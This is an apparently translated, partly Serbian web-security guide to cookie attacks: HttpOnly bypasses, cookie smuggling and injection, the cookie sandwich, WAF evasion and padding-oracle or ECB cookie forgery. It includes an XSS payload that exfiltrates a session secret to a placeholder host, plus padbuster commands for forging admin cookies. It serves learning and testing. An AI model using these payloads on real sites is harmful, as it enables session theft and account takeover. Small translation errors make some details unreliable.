Cookies Hacking

Reading time: 15 minutes

Atributi kolačića

Kolačići imaju nekoliko atributa koji kontrolišu njihovo ponašanje u korisnikovom browseru. Evo pregleda tih atributa u pasivnijem tonu:

Expires and Max-Age

Datum isteka kolačića određuje se pomoću atributa Expires. Nasuprot tome, atribut Max-age definiše vreme u sekundama dok se kolačić ne obriše. Preporučuje se Max-age jer odražava modernije prakse.

Domain

Hostove koji treba da prime kolačić specificira atribut Domain. Po defaultu, ovo je postavljeno na host koji je izdao kolačić, ne uključujući njegove poddomene. Međutim, kada se atribut Domain eksplicitno postavi, on obuhvata i poddomene. To čini specificiranje atributa Domain manje restriktivnom opcijom, korisnom za scenarije gde je deljenje kolačića između poddomena potrebno. Na primer, postavljanje Domain=mozilla.org čini kolačiće dostupnim na njegovim poddomenima poput developer.mozilla.org.

Path

Atribut Path označava specifičan URL put koji mora biti prisutan u traženom URL-u da bi se header Cookie poslao. Ovaj atribut smatra karakter / kao separator direktorijuma, omogućavajući podudaranje i u poddirektorijumima.

Ordering Rules

Kada dva kolačića imaju isto ime, onaj koji se šalje bira se na osnovu:

• Kolačić koji odgovara najdužem path-u u traženom URL-u.
• Kolačić koji je najnovije postavljen ako su path-ovi identični.

SameSite

• Atribut SameSite određuje da li se kolačići šalju na request-e koji potiču sa third-party domena. Nudi tri podešavanja:
• Strict: Onemogućava slanje kolačića na third-party request-e.
• Lax: Dozvoljava slanje kolačića sa GET request-ima iniciranim od third-party sajtova.
• None: Dozvoljava slanje kolačića sa bilo kog third-party domena.

Imajte na umu da razumevanje ovih atributa pomaže da kolačići rade onako kako se očekuje u različitim scenarijima.

Table from Invicti and slightly modified.
Kolačić sa SameSite atributom će ublažiti CSRF napade gde je potrebna prijavljena sesija.

*Napomena da od Chrome80 (feb/2019) default ponašanje kolačića bez SameSite atributa će biti lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Obratite pažnju da će privremeno, nakon primene ove promene, kolačići bez SameSite politike u Chrome-u biti tretirani kao None tokom prvih 2 minuta, a zatim kao Lax za top-level cross-site POST zahteve.

Zastavice kolačića

HttpOnly

Ovo sprečava da klijent pristupi kolačiću (npr. preko Javascript: document.cookie)

Bypasses

• Ako stranica vraća kolačiće u odgovoru na zahtev (na primer na PHPinfo stranici), može se iskoristiti XSS da se pošalje zahtev toj stranici i ukradu kolačići iz odgovora (pogledati primer na https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Ovo se može zaobići pomoću TRACE HTTP zahteva jer će odgovor servera (ako je ova HTTP metoda dostupna) reflektovati poslate kolačiće. Ova tehnika se zove Cross-Site Tracking.
• Moderni browser-i izbegavaju ovu tehniku tako što ne dozvoljavaju slanje TRACE zahteva iz JS. Međutim, pronađeni su neki bypass-i u specifičnom softveru, kao slanje \r\nTRACE umesto TRACE za IE6.0 SP2.
• Drugi način je eksploatacija zero/day ranjivosti browser-a.
• Moguće je prepisati HttpOnly kolačiće izvođenjem Cookie Jar overflow napada:

Cookie Jar Overflow

• Moguće je iskoristiti Cookie Smuggling attack da se ovi kolačići iznesu
• Ako bilo koji server-side endpoint echo-uje raw session ID u HTTP odgovoru (npr. unutar HTML komentara ili debug bloka), možete zaobići HttpOnly koristeći XSS gadget da fetch-ujete taj endpoint, izvadite secret pomoću regex-a i eksfiltrujete ga. Primer XSS payload pattern:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Zahtev će samo poslati cookie u HTTP zahtevu ako je zahtev prenesen preko sigurnog kanala (obično HTTPS).

Cookies Prefixes

Cookies prefixed with __Secure- moraju biti postavljeni zajedno sa secure flag-om sa stranica koje su zaštićene HTTPS-om.

For cookies prefixed with __Host-, several conditions must be met:

• Moraju biti postavljeni sa secure flag-om.
• Moraju poticati sa stranice zaštićene HTTPS-om.
• Zabranjeno im je da specificiraju domen, čime se sprečava njihovo slanje na poddomene.
• Putanja za ove cookies mora biti postavljena na /.

Važno je napomenuti da cookies prefixed with __Host- nije dozvoljeno slati na superdomene ili poddomene. Ovo ograničenje pomaže u izolaciji aplikacionih cookies. Stoga, korišćenje __Host- prefiksa za sve aplikacione cookies može se smatrati dobrom praksom za poboljšanje sigurnosti i izolacije.

Overwriting cookies

Dakle, jedna od zaštita __Host- prefiksiranih cookies je sprečavanje da budu prepisani sa poddomena. Time se sprečava, na primer, Cookie Tossing attacks. U predavanju Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) prikazano je da je bilo moguće postaviti __HOST- prefiksirane cookies sa poddomena tako što bi se prevario parser, na primer dodavanjem "=" na početku ili na početku i na kraju...:

Ili u PHP-u bilo je moguće dodati druge karaktere na početku imena cookie-a koji bi bili zamenjeni underscore karakterima, što je omogućavalo prepisivanje __HOST- cookies:

Cookies Attacks

Ako prilagođeni cookie sadrži osetljive podatke, proveri ga (posebno ako učestvuješ u CTF-u), jer može biti ranjiv.

Decoding and Manipulating Cookies

Osetljivi podaci ugrađeni u cookies uvek treba da budu pregledani. Cookies kodirani u Base64 ili sličnim formatima često se mogu dekodirati. Ova ranjivost omogućava napadačima da izmene sadržaj cookie-a i lažno se predstave kao drugi korisnici tako što će svoje izmenjene podatke ponovo enkodirati u cookie.

Session Hijacking

Ovaj napad podrazumeva krađu cookie-a korisnika radi neovlašćenog pristupa njihovom nalogu u aplikaciji. Korišćenjem ukradenog cookie-a, napadač može da se predstavi kao legitimni korisnik.

Session Fixation

U ovom scenariju, napadač prevari žrtvu da koristi određeni cookie za prijavu. Ako aplikacija ne dodeli novi cookie prilikom prijave, napadač koji poseduje originalni cookie može da se predstavi kao žrtva. Ova tehnika zavisi od toga da se žrtva prijavi koristeći cookie koji je obezbedio napadač.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Ovde napadač ubedi žrtvu da koristi napadačev session cookie. Žrtva, verujući da je prijavljena u sopstveni nalog, nenamerno će izvršavati radnje u kontekstu napadačevog naloga.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Klikni na prethodni link da pristupiš stranici koja objašnjava moguće slabosti JWT.

JSON Web Tokens (JWT) koji se koriste u cookie-ima takođe mogu imati ranjivosti. Za detaljne informacije o mogućim propustima i kako ih eksploatisati, preporučuje se pregled priloženog dokumenta o hacking JWT.

Cross-Site Request Forgery (CSRF)

Ovaj napad primorava prijavljenog korisnika da izvrši neželjene radnje na web aplikaciji u kojoj je trenutno autentifikovan. Napadači mogu iskoristiti cookie-e koji se automatski šalju sa svakim zahtevom ka ranjivom sajtu.

Empty Cookies

(Pogledaj detaljnije u originalnom istraživanju) Pregledači dozvoljavaju kreiranje cookie-a bez imena, što se može demonstrirati kroz JavaScript na sledeći način:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Rezultat u sent cookie header je a=v1; test value; b=v2;. Zanimljivo, ovo omogućava manipulaciju cookie ako je postavljen cookie sa praznim imenom, potencijalno omogućavajući kontrolu nad drugim cookie postavljanjem praznog cookie na određenu vrednost:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

To dovodi do toga da pregledač pošalje cookie header koji svaki web server interpretira kao cookie imena a sa vrednošću b.

Chrome greška: problem sa Unicode surrogatnom kodnom tačkom

U Chrome-u, ako Unicode surrogatna kodna tačka bude deo set cookie, document.cookie postane korumpiran i zatim vraća prazan string:

document.cookie = "\ud800=meep"

To dovodi do toga da document.cookie vraća prazan string, što ukazuje na trajnu korupciju.

Cookie Smuggling zbog problema parsiranja

(Pogledajte detaljnije u original research) Više web servera, uključujući one za Java (Jetty, TomCat, Undertow) i Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), nepravilno obrađuju cookie stringove zbog zastarele podrške za RFC2965. Oni tretiraju vrednost cookie-ja u dvostrukim navodnicima kao jednu vrednost, čak i ako sadrži tačke-zareze, koje bi obično trebalo da razdvajaju key-value pairs:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Check further details in theoriginal research) Neispravno parsiranje cookie-a od strane servera, naročito Undertow, Zope i onih koji koriste Python's http.cookie.SimpleCookie i http.cookie.BaseCookie, stvara mogućnosti za cookie injection napade. Ti serveri ne uspevaju pravilno da odrede početak novog cookie-a, što omogućava napadačima da falsifikuju cookies:

• Undertow očekuje novi cookie odmah nakon vrednosti u navodnicima bez tačke-zareza.
• Zope traži zarez da započne parsiranje narednog cookie-a.
• Python-ove cookie klase počinju parsiranje na karakter razmaka.

Ova ranjivost je posebno opasna u web aplikacijama koje se oslanjaju na cookie-based CSRF zaštitu, jer omogućava napadačima da ubace falsifikovane CSRF-token cookie-e i potencijalno zaobiđu bezbednosne mere. Problem se pogoršava Python-ovim rukovanjem duplikatima imena cookie-a, gde poslednja pojava prepisuje prethodne. Takođe izaziva zabrinutost za __Secure- i __Host- cookie-e u nesigurnim kontekstima i može dovesti do zaobilaženja autorizacije kada se cookies prosleđuju ka back-end serverima podložnim spoofingu.

Cookies $version

WAF Bypass

According to this blogpost, moguće je iskoristiti cookie atribut $Version=1 da naterate backend da koristi stariju logiku parsiranja cookie-a zbog RFC2109. Pored toga, druge vrednosti kao što su $Domain i $Path mogu se koristiti za modifikovanje ponašanja backenda u vezi sa cookie-om.

Cookie Sandwich Attack

According to this blogpost moguće je koristiti cookie sandwich technique za krađu HttpOnly cookie-a. Ovo su zahtevi i koraci:

• Pronađite mesto gde se naizgled beskorisni cookie reflektuje u odgovoru
• Kreirajte cookie nazvan $Version sa vrednošću 1 (ovo možete uraditi u XSS napadu iz JS-a) sa preciznijom putanjom tako da dobije početnu poziciju (neki framework-i poput python-a ne zahtevaju ovaj korak)
• Kreirajte cookie koji se reflektuje sa vrednošću koja ostavlja otvoreni dvostruki navodnik i sa specifičnom putanjom tako da bude pozicioniran u cookie db nakon prethodnog ($Version)
• Tada će pravi cookie ići sledeći u redu
• Kreirajte dummy cookie koji zatvara dvostruke navodnike unutar svoje vrednosti

Na ovaj način cookie žrtve biva zarobljen unutar novog cookie-a verzije 1 i biće reflektovan kad god se reflektuje. npr. iz posta:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Pogledaj prethodni odeljak.

Bypassing value analysis with quoted-string encoding

Ovo parsiranje označava da se escaped vrednosti unutar cookie-ja de-escapeuju, tako da "\a" postaje "a". Ovo može biti korisno za zaobilaženje WAFS kao:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

U RFC2109 je navedeno da comma može biti korišćen kao separator između vrednosti cookie-ja. Takođe je moguće dodati spaces i tabs pre i posle znaka jednakosti. Dakle cookie kao $Version=1; foo=bar, abc = qux ne generiše cookie "foo":"bar, admin = qux" već cookie-je foo":"bar" i "admin":"qux". Primeti kako se generišu 2 cookie-ja i kako je kod admin uklonjen razmak pre i posle znaka jednakosti.

Bypassing value analysis with cookie splitting

Na kraju, različiti backdoors bi spojili u jedan string različite cookie-je prosleđene u različitim cookie headers kao u:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Što bi moglo omogućiti zaobilaženje WAF-a kao u ovom primeru:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Dodatne provere ranjivih Cookies

Osnovne provere

• Cookie je isti svaki put kada se login.
• Log out i pokušajte da koristite isti cookie.
• Pokušajte da se log in sa 2 uređaja (ili browser-a) na isti account koristeći isti cookie.
• Proverite da li cookie sadrži bilo kakve informacije i pokušajte da ga izmenite
• Pokušajte da napravite nekoliko accounts sa gotovo istim username-om i proverite da li vidite sličnosti.
• Proverite opciju "remember me" ako postoji da vidite kako radi. Ako postoji i može biti ranjiva, uvek koristite cookie od remember me bez ikakvog drugog cookie-a.
• Proverite da li prethodni cookie radi čak i nakon što promenite lozinku.

Napredni napadi na cookies

Ako cookie ostane isti (ili skoro isti) kada se log in, to verovatno znači da je cookie povezan sa nekim poljem vašeg account-a (verovatno username-om). Tada možete:

• Pokušajte da napravite puno accounts sa username-ima veoma sličnim i pokušajte da pogodite kako algoritam radi.
• Pokušajte da bruteforce the username. Ako cookie služi samo kao metoda autentifikacije za vaš username, onda možete napraviti account sa username-om "Bmin" i bruteforce svaki pojedinačni bit vašeg cookie-a jer će jedan od cookie-a koje probate biti onaj koji pripada "admin".
• Pokušajte Padding Oracle (možete dekriptovati sadržaj cookie-a). Koristite padbuster.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster će napraviti nekoliko pokušaja i pitaće vas koji uslov predstavlja grešku (onaj koji nije važeći).

Zatim će početi decrypting the cookie (može potrajati nekoliko minuta)

Ako je attack uspešno izveden, onda možete pokušati da encrypt string po vašem izboru. Na primer, ako biste želeli da encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Ovo izvršavanje će vam dati cookie pravilno šifrovan i enkodovan sa stringom user=administrator unutra.

CBC-MAC

Možda cookie može imati neku vrednost i može biti potpisan koristeći CBC. Tada je integritet vrednosti potpis kreiran primenom CBC nad istom vrednošću. Pošto se preporučuje korišćenje IV kao null vector, ovaj tip provere integriteta može biti ranjiv.

The attack

1. Nabavite potpis za username administ = t
2. Nabavite potpis za username rator\x00\x00\x00 XOR t = t'
3. Postavite u cookie vrednost administrator+t' (t' će biti validan potpis za (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

Ako je cookie šifrovan koristeći ECB, može biti ranjiv.
Kada se prijavite, cookie koji dobijete treba da bude uvek isti.

How to detect and attack:

Kreirajte 2 users sa skoro istim podacima (username, password, email, itd.) i pokušajte da otkrijete neki obrazac unutar dobijenog cookie-ja

Kreirajte user-a nazvanog, na primer, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i proverite da li postoji neki obrazac u cookie-ju (pošto ECB šifruje svaki blok istim ključem, iste šifrovane bajtove mogu se pojaviti ako je username šifrovan).

Trebao bi postojati obrazac (veličine korišćenog bloka). Dakle, znajući kako se grupa "a" šifruje možete kreirati username: "a"*(size of the block)+"admin". Zatim, možete izbrisati šifrovani obrazac jednog bloka "a" iz cookie-ja. I imaćete cookie za username "admin".

References

• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/